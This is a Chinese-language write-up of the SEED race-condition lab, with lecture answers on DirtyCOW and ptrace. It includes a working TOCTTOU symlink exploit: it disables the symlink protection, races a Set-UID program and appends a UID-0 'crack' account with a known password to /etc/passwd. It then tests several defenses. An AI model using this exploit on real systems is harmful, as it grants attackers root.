1. 程式人生 > 其它 >Race Condition Vulnerability Lab &Lec Solution Seed

Race Condition Vulnerability Lab &Lec Solution Seed

Race Condition Vulnerability Lab Solution Seed

本文作者:對酒當歌、邊城

Lec

1、linux下用open函式開啟檔案時,要是採用O_WRONLY模式為何容易產生競爭條件漏洞?換成 O_WRONLY | O_CREAT | O_EXCL 模式後情況會如何?

  • open 函式用於開啟和建立檔案。open()的呼叫格式為 int open(const char *pathname, int oflag, ... );返回值:成功則返回檔案 描述符,否則返回 -1

  • O_WRONLY 的含義是隻寫開啟;O_CREAT 含義是檔案存在則使 用,不存在則新建 ;

  • O_EXCL 含義是檢查檔案是否存在,不存在則新 建,存在則返回錯誤資訊 如果只採用 O_WRONLY 模式,root 總是可以建立檔案。換成 O_WRONLY | O_CREAT | O_EXCL 模式後就不會出現這個問題。

    O_RDONLY 以只讀方式開啟檔案

    O_WRONLY 以只寫方式開啟檔案

    O_RDWR 以可讀寫方式開啟檔案

    上述三種旗標是互斥的, 也就是不可同時使用, 但可與下列的旗標利用OR(|)運算子組合.

    O_CREAT 若欲開啟的檔案不存在則自動建立該檔案.

    O_EXCL 如果O_CREAT 也被設定, 此指令會去檢查檔案是否存在.

    檔案若不存在則建立該檔案, 否則將導致開啟檔案錯誤. 此外, 若O_CREAT 與O_EXCL 同時設定, 並且欲開啟的檔案為符號連線, 則會開啟檔案失敗.

2、閱讀一篇文章“從一個漏洞談到ptrace的漏洞發現及利用方法”,地址為http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1795。描述其中的競爭條件漏洞出現的原因。

  • current 指向這個核心執行緒的 task_struct 結構,而與建立這個線 程時的 current 不同,那時候的 current 指向當時的當前程序,即 exec_modprobe()的父程序。核心執行緒 exec_modprobe()從其父 程序繼承了絕大部分資源和特性,包括它的 fs_struct 的內容和開啟的 所有檔案,以及它的程序號、組號,還有所有的特權。但是這些特性 在這個函式裡大多被拚棄了(見原始碼的 19 行到 42 行,這裡設定了該 核心執行緒的訊號、euid 、egid 等,使之變成超級使用者),不過在拚棄這些特性之前之前,我們的父程序,或同組程序是應該可以除錯該內 核線程的。漏洞也就在這裡。

  • 當程序請求的功能在模組中的情況下,核心就會派生一子程序, 並把子程序的 euid 和 egid 設定為 0 並呼叫 execve("/sbin/modprobe")。 問題是在子程序 euid 改變為 0 前可以被 ptrace()掛接除錯,因此攻擊 者可以插入任意程式碼到程序中並以 root 使用者的許可權執行。

3、上網搜尋CVE-2016-5195漏洞的相關資料。描述其中的整數溢位和競爭條件漏洞出現的原因。

髒牛漏洞(DirtyCOW)是由於Linux核心的記憶體子系統在處理copy-on-write(COW)時出現競爭條件,導致私有隻讀儲存器對映被破壞,可利用此漏洞非法獲得讀寫許可權,進而提升許可權。

漏洞目的是修改一個只讀檔案,這樣就可以修改一些只有root可寫的特權檔案比如/etc/passwd。

漏洞產生的場景如下:使用write系統呼叫向/proc/self/mem這個檔案寫入內容,核心會呼叫get_user_pages函式,這個函式的作用是根據虛擬記憶體地址尋找對應的頁實體地址。函式內部呼叫follow_page_mask來尋找頁描述符,follow_page_mask - look up a page descriptor from a user-virtual address。

第一次獲取頁表項會因為缺頁失敗(請求排程的機制)。get_user_pages會呼叫faultin_page以及handle_mm_fault來獲取一個頁框並將對映放到頁表中。繼續第二次的follow_page_mask獲取頁表符,因為獲取到的頁表項指向的是一個只讀的對映,所以這次獲取也會失敗。get_user_pages第三次呼叫follow_page_mask的時候不再要求頁表項指向的記憶體對映有可寫許可權,因此可以成功獲取,獲取之後就可以對只讀記憶體進行強制寫入操作。

但是在上述第二次失敗之後如果我們用一個執行緒呼叫madvise(addr,len,MADV_DONTNEED),其中addr-addr+len是一個只讀檔案的VM_PRIVATE的只讀記憶體對映,那對映的頁表項就會變為空。這時候如果第三次呼叫follow_page_mask來獲取頁表項,就不會用之前COW的頁框了(頁表項為空了),而是直接去找原來只讀的那個記憶體頁,現在又不要求可寫,因此不會再COW,直接寫這個物理頁就會導致修改了只讀檔案。

4、echo "crack:"$(openssl passwd -1 -salt a3g1 123456)":0:0:,,,:/root:/bin/bash"的輸出結果是什麼?root使用者把輸出的這一行加入/etc/passwd末尾會產生什麼效果?(提前備份該檔案,之後恢復)

輸出結果如下:

echo "crack:"$(openssl passwd -1 -salt a3g1 123456)":0:0:,,,:/root:/bin/bash"

crack:$1$a3g1$sjnd1nkAwCfjT4/r0sTA20:0:0:,,,:/root:/bin/bash

這一行加入/etc/passwd 末尾的結果是產生了一個新使用者

5、解釋Big Endian 和 Little Endian 模式,以及兩者的區別。

Little-endian:將低序位元組儲存在起始地址(低位編址)

Big-endian:將高序位元組儲存在起始地址(高位編址)

3)區別是存放的起始地址不一樣

4)對於位元組序列的儲存格式,目前有兩大陣營,那就是Motorola的PowerPC系列CPU和Intel的x86系列CPU。PowerPC系列採用big endian方式儲存資料,而x86系列則採用little endian方式儲存資料。

5)C/C++語言編寫的程式裡資料儲存順序是跟編譯平臺所在的CPU相關的,而JAVA編寫的程式則唯一採用big endian方式來儲存資料。

6、認真觀看P7 Race Condition Vulnerability Lecture

Software Security - Kevin Du - SEED Project - Syracuse University https://www.bilibili.com/video/BV1v4411S7mv 大概說下視訊的內容。

視訊以例項對競態條件漏洞做了分析,並由實驗引導實現對競態條件漏洞的攻擊。提出了一些防禦措施。

最小許可權原則(最早由 Saltzer 和 Schroeder 提出),是指每個程式和系統使用者都應該具有完成任務所必需的最小許可權集合。

它要求計算環境中的特定抽象層的每個模組只能訪問當下所必需的資訊或者資源。

競態條件發生在併發任務訪問共享資源時,如果訪問的結果取決於訪問順序,就會發生競態條件,通過改變訪問順序,攻擊者可以影響特權程式的行為。一個常見的競態條件漏洞稱為TOCTTOU,也就是特權程式在使用資源前會做一些檢查。如果攻擊者可以在條件檢查通過後和資源訪問之前立即改變條件,那前面的檢查就變得無效了,這將導致特權程式能夠訪問不該訪問的資源。利用這種方法,攻擊者可利用特權程式修改一個受保護的檔案。

為了防止競態條件漏洞,開發者需要知曉程式內部可能存在的競態條件。為減少安全隱患,可使操作原子化,提高贏得競態條件的難度,或在條件競爭視窗內降低程式許可權(如果可能的話)。本章主要關注Set-UID程式的TOCTTOU型別的競態條件。在第8章髒牛競態條件攻擊中,將會討論另一種有趣的競態條件。該競態條件漏洞在Linux核心中存在多年,利用它,普通使用者可以很容易獲得作業系統的root許可權。

Lab

Race Condition

  • 發生在:
    • 多個程序同時訪問和操作相同的資料。
    • 執行的結果取決於特定順序。
  • 如果一個特權程式具有競爭條件,則攻擊者可以通過對此產生影響來影響特權程式的輸出 無法控制的事件。

當兩個併發執行緒的執行執行緒以根據執行緒或過程的定時而無意地產生不同結果的方式訪問共享資源。

function withdraw($amount)//如果有兩個同時撤銷請求,則可以在此處出現競態條件。
$balance = getBalance();
if ($amount <= $balance) {
    $balance = Sbalance - $amount;
    echo "You have withdrawn: $amount";
    saveBalance($balance);
else {
        echo "Insufficient funds.";
    }
}

當用戶取款時,這個函式從銀行的遠端資料庫中得到該使用者的賬戶餘額,檢查取款數是否低於餘額。如果檢查通過,就發出指令讓取款機吐出相應金額的錢,並更新資料庫中的賬戶餘額。試想這樣一種情況,假如賬戶中只有1000元,能否取出1 800元?
為了做到這一點,需要有兩張銀行卡,再找一個同謀。兩個人可以分別在兩個不同的取款機上同時取900元。當第臺取款機剛批准 了取款請求, 還沒來得及更新餘額之前,第二臺取款機就已經讀取了餘額,這樣兩臺取款機得到的餘額都是1 000元,它們都會批准900元的取款請求。所以兩人加起來能取出1800元,並且賬戶餘額還會有100元。這顯然是程式的一個漏洞,這種漏洞就叫作競態條件漏洞。

if (!access("/tmp/X", W_OK))
{
    /* the real user has the write permission*/
    f = open("/tmp/X", O_WRITE);
    write_to_file(f);
}
else
{
    /* the real user does not have the write permission */
    fprintf(stderr, "Permission denied\n");
}
  • 上面的程式寫入/ tmp目錄(world-writable)中的檔案
  • 因為root可以寫入任何檔案,程式可確保真實的使用者具有寫入目標檔案的許可權。
  • access()系統呼叫檢查 真實的使用者ID具有對/tm/x
  • 檢查後,將開啟檔案以寫入。
  • open()檢查為0的有效使用者ID,因此將開啟檔案。

目標寫入/ etc / passwd等受保護的檔案

為實現此目標,我們需要將/etc/passwd作為目標檔案進行,而無需更改程式中的檔名

  • Symbolic連結(軟連結)有助於我們實現它。
  • 它是指向另一個檔案的特殊檔案。
graph TD A[在/tmp目錄下建立一個常規檔案X] -->|通過access函式檢查| B[將/tmp/X改為符號連結,指向/etc/passwd] B --> C[open函式檢查EID是否為root] C -->D[開啟密碼檔案寫入]

問題:由於程式每秒執行數十億條指令,檢查時間和使用時間之間的視窗只會持續很短的一段時間,因此不可能更改為符號連結。如果更改太早,access()將失敗。如果更改稍晚,程式將使用該檔案完成。

贏得競爭條件(tocttou視窗),我們需要兩個程序:在Loproprun攻擊計劃中執行易受攻擊的程式

準備工作

Ubuntu11.04 和 12.04 提供了一個內建的防止競態條件攻擊的保護。 這個方案通過限制誰可以跟隨系統連結來工作。對於這個實驗,我們需要禁用這個保護。 可以使用以下命令實現這一點:

sudo sysctl -w kernel.yama.protected_sticky_symlinks=0

A Vulnerable Program

下面的程式是一個看似無害的程式。 它包含一個競態條件漏洞。

/*  vulp.c  */

#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main()
{
   char *fn = "/tmp/XYZ";
   char buffer[60];
   FILE *fp;

   /* get user input */
   scanf("%50s", buffer);

   if (!access(fn, W_OK))
   {

      fp = fopen(fn, "a+");
      fwrite("\n", sizeof(char), 1, fp);
      fwrite(buffer, sizeof(char), strlen(buffer), fp);
      fclose(fp);
   }
   else
      printf("No permission \n");
}

這是 Set-UID 程式的一部分(由 root 擁有);它將一串使用者輸入附加到臨時檔案/tmp/XYZ 的末尾。 由於代 碼使用根特權執行,它仔細檢查真正的使用者是否實際擁有對檔案/tmp/XYZ 的訪問許可權;這是訪問()呼叫的目 的。 一旦程式確保真正的使用者確實有權,程式將開啟檔案並將使用者輸入寫入檔案。

看來程式在第一次檢視時沒有任何問題。但是,在這個程式中存在一個競態條件漏洞:由於檢查(Access) 和使用(fopen)之間的視窗(模擬延遲),訪問使用的檔案可能與 fopen 使用的檔案不同,儘管它們具有相同 的檔名/tmp/XYZ。 如果惡意攻擊者可以以某種方式使/tmp/XYZ 成為指向/etc/shadow 的符號連結,則攻擊 者可以將使用者輸入附加到/etc/shadow(請注意,程式使用root特權執行,因此可以覆蓋任何檔案)。

Guidelines指導方針

1 Two Potential Targets

兩個潛在目標

在 vulp.c 中,可能有許多方法來利用競態條件脆弱性。 一種方法是使用漏洞將一些資訊附加到/etc/passwd 和 /etc/shadow。Unix 作業系統使用這兩個檔案對使用者進行身份驗證。如果攻擊者可以將資訊新增到這兩個檔案 中,他們本質上有能力建立新使用者,包括超級使用者(通過讓 uid 為零)。

/etc/passwd 檔案是 Unix 機器的身份驗證資料庫。包含基本使用者屬性.. 這是一個 ASCII 檔案,其中包含每 個使用者的條目。 每個條目定義應用於使用者的基本屬性。 當您使用 adduser 命令向系統新增使用者時,該命令將 更新/etc/passwdfile。

檔案/etc/passwd 必須具有世界可讀性,因為許多應用程式需要訪問使用者屬性,如使用者名稱、主目錄等。 在 該檔案中儲存加密密碼意味著任何能夠訪問該機器的人都可以使用密碼破解程式(如破解)來闖入他人的帳 戶。 為了解決這個問題,建立了影子密碼系統。 影子系統中的/etc/passwd 檔案是世界可讀的,但不包含加密 密碼。 另一個檔案/etc/shadow 僅由 root 可讀,它包含密碼。

若要找出要新增到這兩個檔案中的字串,請執行 adduser,並檢視新增到這些檔案中的內容。例如,下 面是在建立一個名為 smith 的新使用者之後新增到這些檔案中的內容:

/etc/passwd:
-------------
	smith:x:1000:1000:Joe Smith,,,:/home/smith:/bin/bash

/etc/shadow:
-------------
	smith:*1*Srdssdsdi*M4sdabPasdsdsdasdsdasdY/:13450:0:99999:7:::

檔案/etc/passwd 中的第三列表示使用者的 UID。因為 smith 賬號是普通使用者賬號,所以其價值 1000 沒有什 麼特別的.. 如果我們把這個條目改為 0,史密斯現在變成root。

建立符號連結

您可以呼叫 C 函式 symlink()在程式中建立符號連結。由於 Linux 不允許建立連結,如果連結已經存在,我們 需要首先刪除舊連結。 下面的 C 程式碼片段展示瞭如何刪除連結,然後使/tmp/XYZ 指向/etc/passwd:

unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");

您還可以使用 Linux 命令"ln -sf"建立符號連結。這裡的"f"選項意味著,如果連結存在,請先刪除舊連結。 "ln"命令的實現實際上使用 unlink() symlink()

3 Improving success rate

提高成功率

RACE 條件攻擊的最關鍵步驟(即指向目標檔案的連結)必須發生在檢查和使用之間的視窗內,即 vulp.c 中 的訪問和 fopen 呼叫之間。 由於我們不能修改易受攻擊的程式,我們唯一能做的就是與目標程式並行執行我 們的攻擊程式,希望連結的更改確實發生在這個關鍵視窗內.. 不幸的是,我們無法達到完美的時機。 因此, 攻擊的成功是概率的。如果視窗很小,成功攻擊的概率可能很低。您需要考慮如何增加概率(提示:您可以 多次執行脆弱程式;您只需要在所有這些試驗中獲得一次成功)。 由於您需要多次執行攻擊和脆弱程式,因此需要編寫一個程式來自動化攻擊過程。為了避免手動輸入到 vulp,可以使用重定向。 也就是說,在檔案中鍵入輸入,然後在執行 vulp 時重定向此檔案。 例如,您可以使 用以下內容: vulp < FILE。

4 Knowing whether the attack is successful

知道攻擊是否成功

由於使用者沒有訪問/etc/shadow 的讀取許可權,因此無法知道是否修改了它。 唯一可能的方法是看它的時間戳。 此外,如果我們停止攻擊,一旦條目被新增到相應的檔案將更好。下面的 shell 指令碼檢查/etc/shadow 的時間戳 是否已更改。 一旦注意到更改,它將列印一條訊息。

#!/bin/sh
old=‘ls -l /etc/shadow‘
new=‘ls -l /etc/shadow‘
while [ "$old" = "$new" ]
do
	new=‘ls -l /etc/shadow‘
done
echo "STOP... The shadow file has been changed"

5 An Undesirable Situation

不可取的情況

在測試攻擊程式時,您可能會發現/tmp/XYZ 是以 root 為所有者建立的。如果發生這種情況,您已經失去了"種 族",即檔案是由root建立的。一旦發生這種情況,就沒有辦法刪除這個檔案。這是因為/tmp 資料夾上有一個"粘 性"位,這意味著只有檔案的所有者才能刪除該檔案,即使該資料夾是世界可寫的。

如果發生這種情況,您需要調整攻擊策略,然後再試一次(當然,在手動從root帳戶中刪除檔案之後)。發 生這種情況的主要原因是,攻擊程式在刪除/tmp/XYZ 之後立即被關閉,但在它將名稱連結到另一個檔案之前。 請記住,刪除現有符號連結並建立新連結的操作不是原子的(它涉及兩個單獨的系統呼叫),因此如果上下 文切換髮生在中間(即在/tmp/XYZ 刪除之後),並且目標 Set-UID 程式有機會執行其 fopen(fn,"a+")語句,它 將建立一個以 root 為所有者的新檔案。 想想一種策略,它可以最大限度地減少在該操作中間切換上下文的機會。

6 Warning

警告

在過去,一些學生在攻擊過程中意外地清空了/etc/shadow 檔案(我們仍然不知道是什麼造成的)。 如果您丟失了shadow檔案,您將無法再次登入。 為了避免這種麻煩,請製作原始shadow檔案的副本。

Task 1: Exploit the Race Condition Vulnerabilities

任務 1:開發競態條件脆弱性

您需要在上面的 Set-UID 程式中利用競賽條件漏洞。 更具體地說,您需要實現以下內容:

  1. 重寫任何屬於 root 的檔案。

  2. 獲得 root 特權;也就是說,您應該能夠做任何root可以做的事情。

/*  vulp.c  */

#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main()
{
   char *fn = "/tmp/XYZ";
   char buffer[60];
   FILE *fp;

   /* get user input */
   scanf("%50s", buffer);

   if (!access(fn, W_OK))
   {

      fp = fopen(fn, "a+");
      fwrite("\n", sizeof(char), 1, fp);
      fwrite(buffer, sizeof(char), strlen(buffer), fp);
      fclose(fp);
   }
   else
      printf("No permission \n");
}

直接使用原始檔可能會發出警告:vulp.c:20:42: warning: incompatible implicit declaration of built-in function ‘strlen’ [enabled by default]

在C語言中,使用以前未宣告的函式構成函式的隱式宣告。在隱式宣告中,返回型別是int。現在,GCC有了一些標準函式的內建定義。如果隱式宣告與內建定義不匹配,則會發出此警告。要解決這個問題,就必須在使用函式之前宣告它們;通常可以通過包含適當的標頭檔案來實現這一點。

#include <string.h>

編譯vulp

首先編譯 vulp.c 程式碼,將二進位制程式碼檔案設定為 root 所有的 Set-UID 程式。禁用保護措施。

sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp

建立passwd_input

內容為

crack:$1$a3g1$sjnd1nkAwCfjT4/r0sTA20:0:0:,,,:/root:/bin/bash

或者

crack:a39StiWb.hkcY:0:0:,,,:/root:/bin/bash

關於內容來源

echo "crack:"$(openssl passwd -crypt -salt a3g1 123456)":0:0:,,,:/root:/bin/bash"

編寫attack.c檔案

#include <unistd.h>

int main()
{
    while (1)
    {
        unlink("/tmp/XYZ");
        symlink("/dev/null", "/tmp/XYZ");
        usleep(1000);

        unlink("/tmp/XYZ");
        symlink("/etc/passwd", "/tmp/XYZ");
        usleep(1000);
    }
    return 0;
}

編譯

 gcc -o attack attack.c

建立攻擊指令碼target.sh

#!/bin/bash

CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
	./vulp < passwd_input
	new=$($CHECK_FILE)
done

echo "STOP...The passwd file has been changed"

如果執行指令碼時報錯:'\r': command not found,可能是因為在window下編輯完成後上傳到linux,win下的換行是回車符+換行符,即\r\n,而unix下是換行符\n,因此不識別\r為回車符,所以導致每行多了個\r。

使用如下命令去除即可

sed -i 's/\r//' target.sh

共同執行

./attack

再開啟一個終端

sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
bash target.sh

攻擊成功,檢視密碼檔案發現已經寫入

cat /etc/passwd

也可以使用此賬戶獲得root許可權

su crack
123456

Task 2: Protection Mechanism A: Repeating

保護機制 A:重複

擺脫競態條件並不容易,因為檢查和使用模式往往是必要的程式。而不是取消比賽條件,我們實際上可以增 加更多的比賽條件,這樣為了損害程式的安全性,攻擊者需要贏得所有這些比賽條件。 如果這些比賽條件設 計得當,我們可以成倍地降低攻擊者的獲勝概率。 基本思想是重複access()並open()幾次;每次開啟檔案, 最後通過檢查它們的 i-node(它們應該是相同的)來檢查是否打開了相同的檔案。請使用此策略修改易受攻擊的程式,並重復您的攻擊。 報告成功是多麼困難,如果你還能成功的話。

把 task1 的 vulp.c 換成以下程式碼:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
void no_perm(void)
{
	printf("no permission.\n");
	exit(EXIT_FAILURE);
}

int main(int argc, char *argv[])
{
	char *fn = "/tmp/XYZ";
	char buffer[60];
	FILE *fp;
	long int i;
	long int rep = 0; // number of repetition
	struct stat inodes[2] = {0};

	rep = 50;
	/* get user input */
	scanf("%50s", buffer);
	for (i = 0; i < rep; ++i)
	{
		if (!access(fn, W_OK))
		{
			stat(fn, &inodes[i % 2]);
			if (i > 0)
			{
				if (inodes[0].st_ino != inodes[1].st_ino)
				{
					no_perm();
				}
			}
		}
		else
		{
			no_perm();
		}
	}
	fp = fopen(fn, "a+");
	fwrite("\n", sizeof(char), 1, fp);
	fwrite(buffer, sizeof(char), strlen(buffer), fp);
	fclose(fp);
}

修改vulp.c後,重新編譯執行

sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp
./attack

再重新開另一個終端,執行指令碼

sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
bash target.sh

攻堅成功

Task 3: Protection Mechanism B: Principle of Least Privilege

保護機制 B:最小特權原則

本實驗室易受傷害程式的根本問題是違反最小特權原則。程式設計師確實理解執行程式的使用者可能太強大,因此 他/她引入了訪問()來限制使用者的能力。然而,這不是適當的辦法。 更好的方法是應用最小特權原則;也就是說,如果使用者不需要某些特權,則需要禁用特權。 我們可以使用 seteuid 系統呼叫暫時禁用根特權,如果有必要,我們可以稍後啟用它。 請使用此方法修復 程式中的漏洞,然後重複您的攻擊。

修改程式碼

#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main()
{
    char *fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;
    /* get user input */
    scanf("%50s", buffer);
    seteuid(getuid());
    if (!access(fn, W_OK))
    {
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else
        printf("No permission \n");
}

輕車熟路的重新編譯攻擊,發現這次已然不能成功。

sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp
./attack



sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
bash target.sh

直至 Segmentation fault記憶體訪問越界都不能成功,即使用 setuid 系統呼叫暫時禁止 root 許可權後,無法再成功攻擊。

Task 4: Protection Mechanism C: Ubuntu’s Built-in Scheme

此任務僅適用於那些使用我們的 Ubuntu11.04 或 12.04VM 的人。正如我們在初始設定中提到的,Ubuntu11.04 和 12.04 提供了一個內建的保護方案,以防止競態條件攻擊。 在此任務中,需要使用以下命令將保護開啟:

sudo sysctl -w kernel.yama.protected_sticky_symlinks=1

在你的報告中,請描述你的觀察。 還請解釋以下幾點:

  1. 為什麼這種保護方案有效?
  2. 這是一個 很好的保護嗎? 為什麼或者為什麼不?
  3. 該計劃有何侷限性?

恢復Task1時的vulp.c

啟用系統的競態條件防護漏洞後再次執行攻擊程式

sudo sysctl -w kernel.yama.protected_sticky_symlinks=1
gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp
./attack



sudo sysctl -w kernel.yama.protected_sticky_symlinks=1
bash target.sh

攻擊失敗,此防護方法有效。檔案符號連結一直失敗。有了這個保護機制,可以防止程式在特定情況下跟隨符號連結,即使攻擊者可以贏得競爭條件,他們也無法造成危害。該機制應該是當檢測到許可權所有者和連結指向檔案不匹配時,中止連結。